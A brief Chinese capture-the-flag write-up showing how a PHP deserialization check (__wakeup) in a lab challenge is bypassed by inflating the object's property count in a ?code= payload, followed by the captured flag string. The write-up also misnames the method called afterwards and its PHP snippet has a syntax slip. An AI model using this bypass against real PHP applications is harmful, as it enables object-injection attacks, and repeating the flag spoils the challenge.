这个属实不太难,我们看到页面,直接小脚本一把锁
class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } } $a=new xctf() echo serialize($a); //得到序列化数据:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
我们知道__wakeup()魔法函数,有一个漏洞就是,参数个数大于实际参数个数,就会跳过这个函数,然后去执行__struct()函数,
然后我们payload:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
发现我们成功绕过,并且得到flag:
cyberpeace{e4f31cbd550da426574fdafbf3382cd3}
以为不是flag,然后复制提交正确。那就是它了